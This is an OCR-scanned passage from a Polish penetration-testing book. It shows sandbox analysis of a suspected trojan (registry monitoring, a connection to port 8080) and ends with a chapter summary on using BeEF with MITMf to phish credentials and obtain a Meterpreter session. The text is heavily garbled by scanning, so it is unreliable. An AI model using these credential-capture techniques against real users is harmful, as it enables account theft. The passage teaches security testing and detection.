“dinput Sampley” monttors "HKCU\Softwere \Micresolt \Windows\CunrentViersion\ Intermet Settings\Connections” [Fiter 4. Sebtree 1)

“input Sampley” monttors “\REGISTRY\MACHINE\SOFTWARE \Micresoft\Windows\CunentVersion\Intemet Settings\Connections” (Filter. 4. Subteee 1)

“input Sampler” montors “\REGISTRY\AMACHINE\SOFTWARE \Polices\Microsoft\Windows\CurrentViersion\ Intermet Settings” (Filter: 4, Subtree: 1)
sowrce AP Call

relevance 4/10

Na poprzednim zrzucie ekranu widaé, ze program edytuje ustawienia internetowe i potaczenia.
Widzimy réwniez, ze korzysta z ustugi Windows Sockets, czyli WinSock2, i prébuje nawigzac potaczenia.
Widzimy réwniez, ze edytuje adres procesu:
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Przewijajgc w dot, zobaczymy jeden z najwazniejszych wskaznikéw. Wiecej informacji na ponizszym
zrzucie ekranu Analizy sieci. Prébuje potaczy¢ sie z adresem na porcie hosta 8080:

Network Analysis
DNS Requests

Ho relevant DS reguests were made

Contacted Hosts
Fhing Addaderess Haosgt Port b Proinoad Haar Dertaily
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Mozemy przej$¢ do adresu IP 10.20.14.203 i wykona¢ odwrotne wyszukiwanie DNS, aby sprawdzié, czy
adres IP jest powigzany ze strong internetowa. Ponadto, gdy przesytamy tadunek, nigdy nie zostanie
on uruchomiony na naszym komputerze, lecz na ich serwerze w srodowisku sandbox. Oczywiscie, w
przypadku metody, ktérg omodwilismy, zawsze powinnismy uzywac jej w Srodowisku VirtualBox
podczas uruchamiania w systemie Windows. Zawsze wykonuj j3 na maszynie wirtualnej; nie wykonuj
jej na naszej maszynie gtdwnej. Mozemy tez przestaé jg do srodowiska sandbox, gdzie zostanie ona
przeanalizowana, a nastepnie odczytamy raport.

Podsumowanie

W tym rozdziale przeanalizowalismy narzedzie o nazwie BeEF i podfaczyliémy je za pomocg MITMf.
Nastepnie, przekierowujgc uzytkownika, przechwyciliSmy jego dane uwierzytelniajgce, informujac, ze
zostat wylogowany i proszac o ponowne podanie nazwy uzytkownika i hasta. Na koniec uzyskalismy
dostep do sesji Meterpretera i dowiedzieliSmy sie, jak wykrywac trojany zaréwno recznie, jak i za
pomocg Srodowiska testowego. W kolejnym rozdziale przyjrzymy sie przeprowadzaniu atakéw na sieé
zewnetrzng.



